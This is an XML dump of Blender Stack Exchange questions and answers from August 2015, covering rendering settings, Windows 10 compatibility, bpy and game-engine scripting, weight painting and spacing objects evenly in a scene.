  <row Id="34923" PostTypeId="2" ParentId="34922" CreationDate="2015-08-01T14:40:15.973" Score="2" Body="&lt;p&gt;Oh, haha, I guess I figured it out myself. Sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed the problem by selecting GLSL instead of Multitexture in the Properties &gt; Render &gt; Shading menu. Let me show you:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Atgqk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Atgqk.png&quot; alt=&quot;Fixed&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16073" LastActivityDate="2015-08-01T14:40:15.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34924" PostTypeId="2" ParentId="34901" CreationDate="2015-08-01T16:29:47.570" Score="6" Body="&lt;p&gt;&lt;strong&gt;Yes. Blender 2.75a works in Windows 10.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I had some trouble making it work. After the upgrade from W8.1 to W10 it didn't work, but it was a problem of the new windows not having the correct drivers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't have to spend much time working it out. Windows 10 did, after some time and a few reboots, offer to install the correct drivers. That fixed most of the problems, including the usual trouble with hardware controls in laptops. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you are upgrading to Windows 10, you might have some problems, but Blender will work well once your computer has Windows properly installed. At least it does with my Hardware.   &lt;/p&gt;&#xA;" OwnerUserId="14923" LastActivityDate="2015-08-01T16:29:47.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34925" PostTypeId="2" ParentId="15803" CreationDate="2015-08-01T16:30:37.327" Score="2" Body="&lt;p&gt;I currently use &lt;a href=&quot;http://www.splashtop.com/&quot; rel=&quot;nofollow&quot;&gt;Splashtop&lt;/a&gt; it's free for personal use in your local network. You can also transfer sound to your local device and stream videos. The mouse is a bit laggy but modeling works. Due to the mouse lag it's not suitable for games.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-08-01T16:30:37.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34926" PostTypeId="1" CreationDate="2015-08-01T17:03:11.207" Score="2" ViewCount="3022" Body="&lt;p&gt;What should I do to determine the angle on XYZ between two vertices?&#xA;I then have to rotate a mesh accordingly, but I guess that's a basic task to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to bpy and I should have payed more attention during my maths classes, i suppose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a graphical representation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cUiqm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cUiqm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know the angle of that orange segment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="14001" LastActivityDate="2015-08-02T19:14:17.230" Title="Python: Calculate angle between vertices" Tags="&lt;python&gt;&lt;modeling&gt;&lt;scripting&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34927" PostTypeId="2" ParentId="34849" CreationDate="2015-08-01T18:00:21.087" Score="1" Body="&lt;p&gt;Hmmmmmm. Can't manipulate the model at. Try making a base mesh that fits the models shape, parent THAT to the model, add the watch and ring to that base mesh.  Delete the mesh but keep the accessories. This should. ..&quot;SHOULD&quot; fix the axis problem as if the base is positioned properly, the watch and ring should inherit is rotation, scale and all that jazz from the mesh when you delete it but keep the watch and ring &quot;IN&quot; the initial mesh object. &lt;/p&gt;&#xA;" OwnerUserId="16059" LastActivityDate="2015-08-01T18:00:21.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34928" PostTypeId="2" ParentId="34759" CreationDate="2015-08-01T18:12:58.883" Score="1" Body="&lt;p&gt;Here is a simple script that will create a keyboard object ( an empty )that have properties act as keys, this objects read the keys states from a file (inside blender or on the system ) and set them according to it.&lt;br&gt;&#xA;the script will also create a player object (a cube) which will read the keys properties of the keyboard object and use it as real keyboard input. ( I added the keyboard object to keep the players scripts simple and they will be easy to convert to use a real keyboard )&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;this script will automate the whole process : create objects, set the logic bricks, load the scripts' files and start the game engine.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test the script start blender and paste the script and hit &lt;em&gt;Run Script&lt;/em&gt; you'll see the game engine start and the cube start moving. or you can start blender from the command line with this script to avoid using the GUI&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#key strokes for each logic tic&#xA;&#xA;keys_str=&quot;&quot;&quot;w,w,w,w d,w d,w,w,w,w,w,w,a,a,&#xA;a,a w,a w,a w,w,w,w,w d,w d,w,w,w,w,w,&#xA;w,a,a,a,a w,a w,a w,w,w,w,w d,w d,w,w,&#xA;w,w,w,w,a,a,a,a w,a w,a w,w,w,w,w d,w &#xA;d,w,w,w,w,w,w,a,a,a,a w,a w,a w,w,w,w,&#xA;w d,w d,w,w,w,w,w,w,a,a,a,a w,a w,a w,&#xA;w,w,w,w d,w d,w,w,w,w,w,w,a,a,a,a w,a &#xA;w,a w,w,w,w,w d,w d,w,w,w,w,w,w,a,a,a,&#xA;a w,a w,a w,w,w,w,w d,w d,w,w,w,w,w,w,&#xA;a,a,a,a w,a w,a w,w,w,w,w d,w d,w,w,w,&#xA;w,w,w,a,a,a,a w,a w,a w,&quot;&quot;&quot;.replace('\n','')&#xA;&#xA;&#xA;#### script for the player object&#xA;ob_txt=&quot;&quot;&quot;&#xA;import bge, bge.logic&#xA;&#xA;scene = bge.logic.getCurrentScene() &#xA;&#xA;kb = scene.objects[&quot;keyboard&quot;]&#xA;keys = [&quot;shift&quot;, &quot;ctrl&quot;, &quot;space&quot;, &quot;w&quot;, &quot;s&quot;, &quot;a&quot;, &quot;d&quot;]&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;if kb[&quot;w&quot;] :&#xA;        own.applyMovement([0,0.2,0],True)&#xA;if kb[&quot;s&quot;] :&#xA;        own.applyMovement([0,-0.2,0],True)&#xA;if kb[&quot;d&quot;] :&#xA;        own.applyRotation([0,0,10],True)&#xA;if kb[&quot;a&quot;] :&#xA;        own.applyRotation([0,0,-10],True)&#xA;&quot;&quot;&quot;        &#xA;&#xA;&#xA;### script for the keyboard object&#xA;kb_txt=&quot;&quot;&quot;&#xA;&#xA;import bge, bge.logic&#xA;import bpy&#xA;&#xA;keys = [&quot;shift&quot;, &quot;ctrl&quot;, &quot;space&quot;, &quot;w&quot;, &quot;s&quot;, &quot;a&quot;, &quot;d&quot;]&#xA;scene = bge.logic.getCurrentScene() &#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;def reset_keys():&#xA;        for key in keys:&#xA;            if own[key]:&#xA;                own[key] = False&#xA;&#xA;&#xA;def read_keys():&#xA;      i = own['line']&#xA;      # with open(r'C:\path\to\myfile', 'r') as file:&#xA;      #       line = file.read().split(',')[i]&#xA;      line = bpy.data.texts['keys'].as_string().split(',')[i]&#xA;      cmds = line.split(' ')&#xA;      for key in cmds :&#xA;            if key in keys:&#xA;                  own[key] =True&#xA;      own['line'] += 1&#xA;&#xA;reset_keys()&#xA;read_keys()&#xA;&quot;&quot;&quot;&#xA;&#xA;&#xA;### setup script&#xA;&#xA;import bpy&#xA;&#xA;context = bpy.context&#xA;data = bpy.data&#xA;scene = context.scene&#xA;&#xA;##### scripts' texts ####&#xA;kb_script_txt = bpy.data.texts.new('kb_script')&#xA;kb_script_txt.write(kb_txt)&#xA;&#xA;ob_script_txt = bpy.data.texts.new('ob_script')&#xA;ob_script_txt.write(ob_txt)&#xA;&#xA;keys_txt = bpy.data.texts.new('keys')&#xA;keys_txt.write(keys_str)&#xA;&#xA;##### keyboard object #######&#xA;bpy.ops.object.empty_add()&#xA;bpy.context.object.name=&quot;keyboard&quot;&#xA;&#xA;####### properties  ########&#xA;keys = [&quot;shift&quot;, &quot;ctrl&quot;, &quot;space&quot;, &quot;w&quot;, &quot;s&quot;, &quot;a&quot;, &quot;d&quot;]&#xA;for key in keys:&#xA;    bpy.ops.object.game_property_new(type='BOOL', name=key)&#xA;bpy.ops.object.game_property_new(type='INT', name='line')&#xA;&#xA;######## logicBricks ######&#xA;actuators = bpy.context.object.game.actuators&#xA;controllers = bpy.context.object.game.controllers&#xA;sensors = bpy.context.object.game.sensors&#xA;#always sensor&#xA;bpy.ops.logic.sensor_add(type='ALWAYS')&#xA;always = sensors['Always']&#xA;always.use_pulse_true_level = True&#xA;always.frequency = 24&#xA;#script controller&#xA;bpy.ops.logic.controller_add(type='PYTHON', name=&quot;script_cont&quot;)&#xA;script_cont = controllers[&quot;script_cont&quot;]&#xA;script_cont.text = kb_script_txt&#xA;#link them&#xA;always.link(script_cont)&#xA;&#xA;&#xA;&#xA;&#xA;##### player object #######&#xA;bpy.ops.mesh.primitive_cube_add()&#xA;bpy.context.object.name=&quot;player&quot;&#xA;&#xA;######## logicBricks ######&#xA;actuators = bpy.context.object.game.actuators&#xA;controllers = bpy.context.object.game.controllers&#xA;sensors = bpy.context.object.game.sensors&#xA;#always sensor&#xA;bpy.ops.logic.sensor_add(type='ALWAYS')&#xA;always = sensors['Always']&#xA;always.use_pulse_true_level = True&#xA;always.frequency = 24&#xA;#script controller&#xA;bpy.ops.logic.controller_add(type='PYTHON', name=&quot;script_cont&quot;)&#xA;script_cont = controllers[&quot;script_cont&quot;]&#xA;script_cont.text = ob_script_txt&#xA;#link them&#xA;always.link(script_cont)&#xA;&#xA;&#xA;##### start game engine ######&#xA;&#xA;bpy.context.scene.render.engine = 'BLENDER_GAME'&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        override = bpy.context.copy()&#xA;        override['area'] = area&#xA;        bpy.ops.view3d.game_start()&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-08-01T18:12:58.883" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="34929" PostTypeId="2" ParentId="34886" CreationDate="2015-08-01T18:17:17.910" Score="1" Body="&lt;p&gt;First you had the logic bricks on the wrong object. You needed the Action actuator on the Armature not the mesh object, because it is the armature that is animated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your second problem was the mirror modifier (I &lt;a href=&quot;https://blender.stackexchange.com/a/17737/2217&quot;&gt;applied&lt;/a&gt; it). The mirror modifier was causing the animation to not play in the BGE. Just another one of the differences between the game engine and blender.&lt;br&gt;&#xA;In general you should not have any modifiers or transforms (scale or rotation) on your objects in the BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your working &lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/394/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-08-01T18:17:17.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34930" PostTypeId="1" CreationDate="2015-08-01T18:52:41.517" Score="1" ViewCount="925" Body="&lt;p&gt;I am trying to map an image to the side of a cube (just one side) and I'm having trouble figuring out how to do this with the PythonAPI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried something similar to this: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Materials_and_textures&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; but it warps the image so that it covers the whole cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I'd like to use the python api is that I'm going to be doing this for thousands of images. It would be nice not to do it by hand :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help/tips/pointers would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="16077" LastActivityDate="2015-08-11T18:09:28.967" Title="How do place an image to the side of a cube using the Python API" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34931" PostTypeId="1" CreationDate="2015-08-01T19:17:47.533" Score="0" ViewCount="649" Body="&lt;p&gt;I'm setting up a simple game loop in which the agent tries to collide with &quot;enemies&quot; (so they'll have the game property &quot;enemy&quot;) and tries to steer clear of other objects (let's call them friends). I want to write a script that makes use of the near sensor to do this-so if an enemy is detected nearby, the agent moves towards it and, if they collide, the enemy is destroyed. Similarly, if the near sensor detects a friend, the agent moves away from it (to make things more interesting, maybe I can apply endobject() or something to the agent if it accidentally collides with a friend). Is there any way to programmatically get the agent to move towards/away from other objects with these specified properties?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, for that matter, is it possible to specify these game properties programmatically? I want to avoid using the gui as much as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much! &lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2015-08-03T08:47:34.603" Title="Move object closer to another object using python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34932" PostTypeId="1" AcceptedAnswerId="34933" CreationDate="2015-08-01T20:00:50.963" Score="3" ViewCount="2214" Body="&lt;p&gt;this is my first post and I am relatively new to Blender so bare with me..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm designing a tank track for a 3D game in the Unity engine - And I'm trying to configure the armature and bones of the tank track + wheels so that I can rotate the wheels and apply suspension to the wheels AND track in Unity using the WheelColliders. I am currently using the texture offset to TRANSLATE the IMAGE that is applied to the tracks for animation - therefore I don't have a bunch of chain-linked tread objects connected together that I am ANIMATING - and instead am just adjusting the image to give the illusion that the tread is moving - the 3D object that said texture is applied to is stationary and does NOT rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan from the beginning was to add bones and simply weight-paint the track so that when I move the wheel bone up and down on the Z-Axis, it would deform the track underneath so that it moves STRONGEST directly underneath the wheel, but was weighted less and less the further it gets from the wheel - that way when suspension is applied in Unity, the bone would move up and down with the wheel and deform the track. What's happening is that (despite the weight paint) the track all moves up and down at the same rate.. so I get a very undesired effect when the suspension moves in the game-engine (it looks the same when I move the bone around in pose mode as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like there's simply a checkbox I have to check/uncheck to get this to work properly - because I feel like weight-painting is specifically designed to apply WEIGHT to the amount the bone deforms the skinned mesh.. however I am open to the idea that I might have a fundamental error in my approach to the concept.. either way - any help here would be THOROUGHLY appreciated! I'm really stuck on this and I've spent way too much time on it. I will include in this post an image of the desired effect, and a visualization of the effect I'm getting currently (sorry about the crappy image - I really hope it get's the point). PLEASE FEEL FREE to ask me for more info - I have no problems exporting my .blend, making another image, making a screen capture video, etc etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hsKj2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hsKj2.png&quot; alt=&quot;Track and Bogie Concept&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16078" LastEditorUserId="11431" LastEditDate="2015-08-01T20:28:38.067" LastActivityDate="2016-04-25T15:02:28.640" Title="Skinning A Simple Tank Track For Unity3D" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;weight-painting&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34933" PostTypeId="2" ParentId="34932" CreationDate="2015-08-01T20:15:49.333" Score="1" Body="&lt;p&gt;weight is 100% if more than 0 and no other weight. To limit the effect, you have to use another bone (static or another wheel) with the resulting weight on it to counter the no-other-weight effect.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/N4bY4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4bY4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/74NEV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/74NEV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FNen5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FNen5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-08-01T20:19:31.817" LastActivityDate="2015-08-01T20:19:31.817" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34934" PostTypeId="1" AcceptedAnswerId="34935" CreationDate="2015-08-01T20:46:00.090" Score="1" ViewCount="4802" Body="&lt;p&gt;My question is:&#xA;I have a Error: Anim PLayer&#xA;That happens if i play my scene (ALT+A) (New Scene too)&#xA;In Cycles and Blender Game i have the same Error.&#xA;For the Render i use the Render Presets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried other versions of Blender but all Versions same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good to know:&#xA;Blender Version: 2.75&#xA;Windows-7 64 Bit&#xA;AMD Six Core&#xA;AMD Radeon HD 7770&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for every Answer :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andre&lt;/p&gt;&#xA;" OwnerUserId="16079" LastEditorDisplayName="user1853" LastEditDate="2015-08-01T22:31:00.000" LastActivityDate="2020-07-20T09:33:51.380" Title="Anim Player Error" Tags="&lt;animation&gt;&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34935" PostTypeId="2" ParentId="34934" CreationDate="2015-08-01T20:51:12.723" Score="1" Body="&lt;p&gt;It isn't an error. It shows it is playing. If you push the button it stops the animation.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-01T20:51:12.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34936" PostTypeId="2" ParentId="34463" CreationDate="2015-08-01T20:57:24.913" Score="0" Body="&lt;p&gt;You have to go to Weight Paint mode and paint over the hair, or even better all over the head. While Bone.004(which is the head bone) is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9V2yB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9V2yB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-01T20:57:24.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34937" PostTypeId="1" CreationDate="2015-08-01T21:19:32.037" Score="2" ViewCount="3580" Body="&lt;p&gt;I was wondering how to spread things out evenly. When I look it up I only find things about aligning them, not about distributing them evenly. Here's a image to help explain &lt;img src=&quot;https://i.gyazo.com/157f9241714c3909016f90a558230828.png&quot; alt=&quot;157f9241714c3909016f90a558230828&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want those three to be distributed evenly&lt;/p&gt;&#xA;" OwnerUserId="15998" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.627" LastActivityDate="2015-08-02T13:00:31.043" Title="How to spread things out evenly" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34938" PostTypeId="2" ParentId="34934" CreationDate="2015-08-01T21:30:01.587" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://i.stack.imgur.com/5RrVS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5RrVS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;button means animation player has been turned on (&lt;kbd&gt;ALt&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; is shortcut, press again to turn off).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see whether animation is playing looking at the frame numbers in the bottom left of the &lt;em&gt;3D View&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/frUVC.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/frUVC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note numbers in the bottom left change and sometimes become orange - that's the keyframe of the selected object is on adjacent frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way to see the timeline is to switch &lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/interface/screens.html?highlight=layout&quot; rel=&quot;nofollow noreferrer&quot;&gt;screen layout&lt;/a&gt; from &lt;em&gt;Default&lt;/em&gt;  to &lt;em&gt;Animation&lt;/em&gt;, the timeline will be in the bottom.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-01T21:30:01.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34939" PostTypeId="2" ParentId="34937" CreationDate="2015-08-01T21:56:47.963" Score="2" Body="&lt;p&gt;I would go to Scene tab in Properties panel and in the Units section, change the units from None to Metric &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TiJb4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TiJb4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I would check Length in the (N)Panel in the Mesh Display section &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*( &lt;em&gt;this should be done in edit mode of the mesh&lt;/em&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nlES1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nlES1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then I would divide the length of the cyllinder by 4 and place the objects after each time the length is presented (red spots).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lczzL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lczzL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-01T21:56:47.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34940" PostTypeId="2" ParentId="34937" CreationDate="2015-08-01T22:23:05.810" Score="4" Body="&lt;p&gt;You may do it using the &lt;strong&gt;&lt;em&gt;Particle System&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UUnDT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UUnDT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a mesh you want to spread the other objects on and divide it as many times you want (one object will be attached to one face). Add an object that will be spread. Name it &lt;strong&gt;&lt;em&gt;Object&lt;/em&gt;&lt;/strong&gt;. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/YvrCU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YvrCU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Particle System&lt;/em&gt;&lt;/strong&gt; to the divided mesh. Choose &lt;strong&gt;&lt;em&gt;Hair&lt;/em&gt;&lt;/strong&gt; as a &lt;em&gt;Type&lt;/em&gt;, check the &lt;strong&gt;&lt;em&gt;Advanced&lt;/em&gt;&lt;/strong&gt; box and set the Emission number to (in this case) 4. Under &lt;em&gt;Emit From:&lt;/em&gt; check the &lt;strong&gt;&lt;em&gt;Faces&lt;/em&gt;&lt;/strong&gt; button. Check the &lt;strong&gt;&lt;em&gt;Even Distribution&lt;/em&gt;&lt;/strong&gt; box and change the &lt;em&gt;Random&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Jittered&lt;/em&gt;&lt;/strong&gt;. Change the &lt;strong&gt;&lt;em&gt;Particles/Face&lt;/em&gt;&lt;/strong&gt; amount to 1 (there will be one particle per one face displayed). Go to the &lt;em&gt;Render&lt;/em&gt; panel, press the &lt;strong&gt;&lt;em&gt;Object&lt;/em&gt;&lt;/strong&gt; button, and input &lt;strong&gt;&lt;em&gt;Object&lt;/em&gt;&lt;/strong&gt; below, near the &lt;em&gt;Dupli Object:&lt;/em&gt; window. Don't forget to check the &lt;strong&gt;&lt;em&gt;Rotation&lt;/em&gt;&lt;/strong&gt; box below.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CPMhu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CPMhu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now rotate your spread object to adjust particles rotation.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2u529.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2u529.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resize the particles using the &lt;em&gt;Size&lt;/em&gt; slider in a &lt;em&gt;Phisics&lt;/em&gt; panel or changing the size of the object you spread.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BzWrg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BzWrg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the &lt;em&gt;Modifiers header&lt;/em&gt; and click on &lt;strong&gt;&lt;em&gt;Convert&lt;/em&gt;&lt;/strong&gt; to convert the particles to the editable meshes.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/df9M3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/df9M3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3H5JF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3H5JF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-01T22:44:36.313" LastActivityDate="2015-08-01T22:44:36.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34941" PostTypeId="2" ParentId="34937" CreationDate="2015-08-01T22:29:36.897" Score="2" Body="&lt;p&gt;I would use the array modifier and the boolean modifier. Object A is the base object and object B is the object you use to cut the holes out. Make sure you apply the rotation and scale on both objects &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;.  On object B, I add the array modifier and set it to a constant offset over the Z in this case 1.5m and set the count to 3. I can still change this as long as I don't apply it. Then I go to object A and add a boolean modifier set the operation to difference and set object to object B. Then I copy object A and B to an other layer in case I want to change it.&#xA;I apply the boolean modifier on object A and delete object B, and clean up the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oQ5Ih.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQ5Ih.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O3k0P.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O3k0P.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-01T22:29:36.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
